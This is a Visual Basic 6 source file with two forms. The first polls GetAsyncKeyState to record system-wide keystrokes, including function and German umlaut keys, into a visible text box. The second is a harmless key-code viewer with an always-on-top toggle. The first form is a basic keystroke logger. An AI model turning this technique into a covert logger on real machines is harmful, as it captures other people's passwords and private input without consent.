Option Explicit
 
Private Declare Function GetAsyncKeyState Lib "user32" _
        (ByVal vKey As Long) As Integer
 
Private Sub Form_Load()
   Timer1.Interval = 10
End Sub
 
Private Sub Timer1_Timer()
    Dim X As Long
 
    For X = 48 To 90
        If CompKey(X, UCase(Chr$(X))) Then Exit Sub
        If CompKey(X + 48, UCase("NUM " & Chr$(X))) Then Exit Sub
    Next X
 
    If CompKey(8, " {Backspace} ") Then Exit Sub
    If CompKey(9, "    ") Then Exit Sub
    If CompKey(13, vbCrLf) Then Exit Sub
    If CompKey(32, " ") Then Exit Sub
    If CompKey(186, "Ü") Then Exit Sub
    If CompKey(192, "Ö") Then Exit Sub
    If CompKey(219, "?") Then Exit Sub
    If CompKey(220, "^") Then Exit Sub
    If CompKey(211, "`") Then Exit Sub
    If CompKey(222, "Ä") Then Exit Sub
 
    For X = 112 To 127
        If CompKey(X, "F" & CStr(X - 111)) Then Exit Sub
    Next X
 
End Sub
 
Private Function CompKey(KCode As Long, KText As String) As Boolean
    Dim Result As Integer
 
    Result = GetAsyncKeyState(KCode)
    If Result = -32767 Then
            Text1.Text = Text1.Text & KText
            Text1.SelStart = Len(Text1.Text)
            CompKey = True
    Else
        CompKey = False
    End If
End Function

option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal _
  hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, _
  ByVal cy As Long, ByVal wFlags As Long) As Long
 
Private Sub Form_Activate()
    Dim Top As Single
    Top = 0
    Line1(0).X1 = 0
    Line1(0).X2 = Me.ScaleWidth
    Line1(0).Y1 = Top
    Line1(0).Y2 = Top
 
    Top = Screen.TwipsPerPixelY
    Line1(1).X1 = 0
    Line1(1).X2 = Me.ScaleWidth
    Line1(1).Y1 = Top
    Line1(1).Y2 = Top
 
End Sub
 
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    Dim I As Integer
 
    lblTT(0).Caption = ""
    lblTT(1).Caption = ""
    lblASC.Caption = ""
    lblTT(0).Caption = KeyCode
    KeyCode = 0
    For I = 0 To 2
        If (2 ^ I) And Shift Then
            lblShift(I).ForeColor = vbRed
        Else
            lblShift(I).ForeColor = &H80000011
        End If
    Next I
 
End Sub
 
Private Sub Form_KeyPress(KeyAscii As Integer)
    lblTT(1).Caption = KeyAscii
    lblASC.Caption = Chr$(KeyAscii)
End Sub
 
Private Sub Form_Load()
    lblASC.Caption = ""
End Sub
 
Private Sub mnuAnsItem_Click()
 
    Dim Switch As Long
    mnuAnsItem.Checked = Not mnuAnsItem.Checked
    If mnuAnsItem.Checked Then
       Switch = -1  'im Vordergrund
    Else
       Switch = -2  'nicht im Vordergrund
    End If
    'Switch:  - 1 = immer im Vordergrund ein / -2 = normal (nicht im 
    ' Vordergrund)
    Call SetWindowPos(Me.hwnd, Switch, 0, 0, 0, 0, &H53)
 
End Sub